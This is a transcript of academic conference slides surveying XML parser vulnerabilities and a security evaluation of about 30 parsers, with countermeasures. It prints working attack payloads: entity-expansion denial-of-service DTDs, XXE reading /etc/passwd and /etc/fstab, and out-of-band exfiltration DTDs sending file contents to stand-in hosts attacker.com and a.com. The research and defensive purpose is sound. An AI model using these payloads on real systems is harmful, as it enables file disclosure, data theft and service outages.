SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov...

64
Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK : XML Parser Vulnerabilities Horst - Görtz Institute for IT - Security, Ruhr - University Bochum

Transcript of SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov...

Page 1: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

Christopher Späth Christian Mainka

Vladislav Mladenov Jörg Schwenk

SoK: XML Parser Vulnerabilities

Horst-Görtz Institute for IT-Security, Ruhr-University Bochum

Page 2: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

Ruhr-University Bochum

2

https://nds.rub.de/

Page 3: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

Agenda

• XML and XML Parsers

• Problems with XML

• Contributions & Attacker Model

• Attacks• Denial-of-Service

• XML External Entity

• schemaEntity

• Parser Evaluation

• Conclusion

3

Page 4: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

Extensible Markup Language (XML)

4

• Stems from Standard Generalized Markup Language (SGML)

• Human readable

• An XML Parser transforms „information“ into a data structure

<book><title>Web2.0</title><author>Duck</author></book>

XMLParser

<book><title>Web2.0</title><author>Duck</author></book>

3c:62:6f:6f:6b:3e:3c:74:69:74:6c:65:3e:57:65:62:32:2e:30:3c:2f:74:69:74:6c:65:3e:3c:61:75:74:68:6f:72:3e:44:75:63:6b:3c:2f:61:75:74:68:6f:72:3e:3c:2f:62:6f:6f:6b:3e:1f

Page 5: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

Working with XML

5

XMLParser

<book><title>Web2.0</title><author>Duck</author></book>

parser = new XMLParser(input);…If (book.title == „Web2.0“) {…} else {…} Retrieve value

Application

Retrieve value<book><title>Web2.0</title><author>Duck</author></book>

Demo 1: Processing expected XML

Page 6: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

Document Type Definition (DTD)

• Defines a “grammar“ for XML• Which elements are allowed?

• Which sub-elements?

• Which Data-Type (e.g. number)?

• Successor: XML Schema

• Entities can also be declared within a DTD

<!DOCTYPE data [<!ELEMENT data (#PCDATA)>

]><data>4</data>

Page 7: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

Entities

7

<garage>

<car>&car; GTC4 Lusso</car>

<car>&car; F12 berlinetta</car>

<car>&car; 488GTB</car>

<car>&car; 488 Spider</car>

</garage>

<!DOCTYPE garage [

<!ENTITY car "Ferrari">

]>

Page 8: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

Entities

8

<garage>

<car>Ferrari GTC4 Lusso</car>

<car>Ferrari F12 berlinetta</car>

<car>Ferrari 488GTB</car>

<car>Ferrari 488 Spider</car>

</garage>

<!DOCTYPE garage [

<!ENTITY car "Ferrari">

]>

Page 9: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

What can go wrong?

9

Page 10: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

10

Page 11: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

DTD Attacks

11Created with http://worditout.com/word-cloud/

http://web-in-security.blogspot.de/2016/03/xxe-cheat-sheet.html

Page 12: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

Previous Work

12

Page 13: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

Contributions

13

Page 14: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

Attacker Model

14

• Controls the input and can generate arbitrary XML files

Page 15: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

15

Understanding DTD Attacks:Denial-of-Service

Page 16: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

16

attacker

An attacker can consume system resources

XMLParser

Denial-of-Service

Page 17: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

Denial-of-ServiceRecursive Entities

17

<!DOCTYPE data [

<!ENTITY a "&b;">

<!ENTITY b "&a;">

]>

<data>&a;</data>

Page 18: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

Denial-of-ServiceRecursive Entities

18

• All but one parser adhere to the specification

• Android XMLPullParser

– If entity processing is enabled, the parser is vulnerable

• Limitation: Forbidden by XML Specification

4 MB Memory 10 MB Memory

Page 19: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

Denial-of-ServiceBillion Laughs Attack

19

• Most Parsers adhere to the specification

• Apply Billion Laughs Attack using nested entities

<!DOCTYPE data [

<!ENTITY a "dos" >

<!ENTITY b "&a;&a;&a;">

<!ENTITY c "&b;&b;&b;">

]>

<data>&c;</data>

Page 20: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

Denial-of-ServiceBillion Laughs Attack

20

• Most Parsers adhere to the specification

• Apply Billion Laughs Attack using nested entities

<!DOCTYPE data [

<!ENTITY a "dos" >

<!ENTITY b "&a;&a;&a;">

<!ENTITY c "&b;&b;&b;">

]>

<data>dosdosdosdosdosdosdosdosdos</data>

Page 21: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

21

Countermeasure: Forbid nested entities?

Page 22: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

Denial of ServiceQuadtratic Blowup Attack

22

<!DOCTYPE data [

<!ENTITY a0 "dosdosdosdosdosdos...dos">

]>

<data>&a0;&a0;...&a0;</data>

• A similar effect can be achieved with the Quadratic Blowup Attack

Page 23: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

Denial of ServiceExternal Entities (Steuck, 2002)

23

<!DOCTYPE data [

<!ENTITY dos SYSTEM "http:///somesite.com/largefile.xml">

]>

<data>&dos;</data>

• Reference a large file (on the system/from a server)

• Limitation: Not applicable to arbitrary files (only XML)

Page 24: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

24

Countermeasure: Limit XML Size

Even better: Disable Entity processing

Page 25: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

25

Understanding DTD Attacks:External Entity Attack (XXE)

Page 26: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

26

Example: SVG-to-PNG Web Service

Server

<svg xmlns="http://www.w3.org/2000/svg">

<rect width="50" height="50"

style="fill:rgb(255,0,0);"/>

<text x="10" y="30">red</text>

</svg>

redImage/PNG:

Page 27: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

27

XML External Entity Attack (XXE)

Server

<!DOCTYPE svg [

<!ENTITY file SYSTEM "file:///etc/passwd">

]>

<svg xmlns="http://www.w3.org/2000/svg">

<rect width="500" height="500"

style="fill:rgb(255,0,0);"/>

<text x="10" y="30">&file;</text>

</svg>

Page 28: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

28

XML External Entity Attack (XXE)

Serverroot:x:0:0:root:/root:/bin/bashbin:x:1:1:bin:/bin:/bin/false…

Image/PNG:

<!DOCTYPE svg [

<!ENTITY file SYSTEM "file:///etc/passwd">

]>

<svg xmlns="http://www.w3.org/2000/svg">

<rect width="500" height="500"

style="fill:rgb(255,0,0);"/>

<text x="10" y="30">&file;</text>

</svg>

Page 29: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

XXE Challenge

• Works like a charm • Does not work

29

<!DOCTYPE data [

<!ENTITY file SYSTEM

"file:///etc/passwd">

]>

<data>&file;</data>

<!DOCTYPE data [

<!ENTITY file SYSTEM

"file:///etc/fstab">

]>

<data>&file;</data>

Page 30: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

The “/etc/fstab Problem”

• etc/fstab contains not well-formed XML

• Therefore the parser aborts the processing

30

#

# /etc/fstab: static file system information

#

# <file system> <dir> <type> <options> <dump> <pass>

/dev/sda1 / ext4 rw 0 1

...

Page 31: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

31

Bypass Idea

Page 32: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

32

<![CDATA[ Trick ]]>

<data><![CDATA[ We can place arbitrary

characters here: < " ' & > ]]></data>

Page 33: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

33

<![CDATA[ ]]> and XXE Idea

<data><![CDATA[

#

# /etc/fstab: static file system information

#

# <file system> <dir> <type> <options> <dump>

<pass>

/dev/sda1 / ext4 rw 0

1

...

]]>

</data>

Page 34: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

34

<![CDATA[ ]]> and XXE Idea

<!DOCTYPE data [

<!ENTITY % start "<![CDATA[">

<!ENTITY % file SYSTEM "file:///etc/fstab">

<!ENTITY % end "]]>">

<!ENTITY all "&start;&file;&end;">

]>

<data>&all;</data>

Page 35: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

35

Bypass: Parameter Entities

<!DOCTYPE data SYSTEM "http://attacker.com/a.dtd">

<data>&all;</data>

Server

Page 36: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

36

Bypass: Parameter Entities

<!DOCTYPE data SYSTEM "http://attacker.com/a.dtd">

<data>&all;</data>

Server

<!ENTITY % start "<![CDATA[">

<!ENTITY % file SYSTEM "file:///etc/fstab">

<!ENTITY % end "]]>">

<!ENTITY all '%start;%file;%end;'>

attacker.com

Page 37: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

37

Bypass for Experts

<!DOCTYPE data SYSTEM "http://attacker.com/a.dtd">

<data>&all;</data>

Server

attacker.com

<data><![CDATA[ Content of /etc/fstab ]]></data>

<!ENTITY % start "<![CDATA[">

<!ENTITY % file SYSTEM "file:///etc/fstab">

<!ENTITY % end "]]>">

<!ENTITY all '%start;%file;%end;'>

Page 38: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

38

What if…there is no „echo“?

Page 39: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

39

Send file to Attacker’s Server

<!DOCTYPE data SYSTEM "http://a.com/b.dtd">

<data>&send;</data>

Server

Page 40: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

40

Send file to Attacker’s Server

<!DOCTYPE data SYSTEM "http://a.com/b.dtd">

<data>&send;</data>

Server

<!ENTITY % file SYSTEM "file:///sys/power/image_size">

<!ENTITY % all "<!ENTITY send SYSTEM 'http://a.com/?%file;'>">

%all;

a.com

Page 41: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

41

Send file to Attacker’s Server

<!DOCTYPE data SYSTEM "http://a.com/b.dtd">

<data>&send;</data>

Server

<!ENTITY % file SYSTEM "file:///sys/power/image_size">

<!ENTITY % all "<!ENTITY send SYSTEM 'http://a.com/?%file;'>">

%all;

a.com

<!ENTITY send SYSTEM 'http://a.com/?hereIsTheContent’>

Page 42: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

42

Send file to Attacker’s Server

<!DOCTYPE data SYSTEM "http://a.com/b.dtd">

<data>&send;</data>

Server

<!ENTITY % file SYSTEM "file:///sys/power/image_size">

<!ENTITY % all "<!ENTITY send SYSTEM 'http://a.com/?%file;'>">

%all;

a.com

<!ENTITY send SYSTEM 'http://a.com/?hereIsTheContent’>

GET ?hereIsTheContent

Page 43: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

The schemaEntity Attack

43

Transformation TransmissionInclusion

Page 44: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

Internal Entity

Parameter Entity

44

Inclusion: XXE in Attributes

<!DOCTYPE svg [

<!ENTITY file SYSTEM "file:///etc/passwd">

]>

<data id=“&file;”</data>

Forbidden by XML specification

Bypass

Page 45: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

Transformation

45

The Attribute-Value Normalization Algorithm

Page 46: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

46

Transmission

Server

a.com

GET

?hereIsTheContent%20LineTermination

%20and%20Whitespaces%20are%20escape

d

Page 47: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

47

Putting it all together

<!DOCTYPE data [

<!ENTITY % remote SYSTEM

"http://attacker.com/external_entity_attribute.dtd">

%remote;

]>

<data xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

xsi:noNamespaceSchemaLocation="http://attacker.com/&internal;"></data>

Server

a.com

Inclusion

TransmissionTransformation

Page 48: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

More Parser Attack Techniques

• Other Parameter-based XXE

• Server-Side Request Forgery

• XInclude

• XSLT

Page 49: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

49

Parser Evaluation

http://web-in-security.blogspot.it/2016/03/xml-parser-evaluation.html

DoS

XXE

XXEP

SSRF

Xinclude

XSLT

XmlDocument

vulnerable

Page 50: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

Test Setup

• 30 different parser in Ruby, .NET, PHP, Java, Python and Perl

• We tested for:• Denial-of-Service

• XXE and Parameter-based XXE

• Server-Side Request Forgery

• XInclude

• XSLT

• Application to Android

50

Page 51: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

Methodology

51

• Empirical, Iterative and Incremental• Evaluation Framework: 16 core tests + additional tests• Core tests are processed by each parser• In summary > 1400 Unit tests

• Results are verifiable and repeatable• Test metric (simplified):• BVS = Base Vulnerability Score:

Vulnerabilities from core tests• Total number of vulnerabilities

Page 52: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

Java|Overview

52

DoS

XXE

XXEP

SSRF

Xinclude

XSLT

Java Parsers

vulnerable

Page 53: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

Java|Xerces-J

53http://www.csnc.ch/misc/files/publications/2010_w-jax_xml_theory_and_attacks_XXE.pdf

Attacks and Features not understood in their entirety

Page 54: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

Java|Xerces-J

54http://www.csnc.ch/misc/files/publications/2010_w-jax_xml_theory_and_attacks_XXE.pdf

http://apache.org/xml/features/disallow-doctype-decl -> true

• The right way to do it:

Page 55: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

PHP|Overview

55

DoS

XXE

XXEP

SSRF

Xinclude

XSLT

SimpleXML & DOMDocument

vulnerable

Page 56: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

PHP|DOMDocument

56

• Scenario: XInclude enabled• Vulnerable to XInclude (known risk)• Vulnerable to XInclude SSRF

- Feature does not mitigate XInclude SSRFNovel Attack cannot be mitigated here

Page 57: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

Perl|Overview

57

DoS

XXE

XXEP

SSRF

Xinclude

XSLT

XML::LibXML

vulnerable

Page 58: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

Perl|XML::LibXML

58

- Does not mitigate DoS attacks- Does mitigate XXE attacks

Page 59: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

Perl|XML::LibXML

59

- Mitigates XXE, XXEP and SSRF

DoS cannot be mitigated

$dom = XML::LibXML->load_xml(location => $file,load_ext_dtd => 0

);

• The right way to do it:

Page 60: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

Evaluation

60

Page 61: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

61

Conclusion

• Most parser are configured insecurely by default

• Countermeasures are not always available

Page 62: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

62

Conclusion

• Parser developers:

1. Implement parser defaults in a secure manner

2. Implement features to disable security relevant behavior

3. Document the security risks

• For Pentesters:

Use the test vectors to investigate applications

Page 63: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

Links

• Cheat Sheet: http://web-in-security.blogspot.de/2016/03/xxe-cheat-sheet.html

• Parser Evaluation:http://web-in-security.blogspot.it/2016/03/xml-parser-evaluation.html

• „Extended version“ of Paper:https://goo.gl/qGMlpw

• Test cases:https://github.com/RUB-NDS/DTD-Attacks

63

Page 64: SoK: XML Parser Vulnerabilities - USENIX · Christopher Späth Christian Mainka Vladislav Mladenov Jörg Schwenk SoK: XML Parser Vulnerabilities Horst-Görtz Institute for IT-Security,

Questions?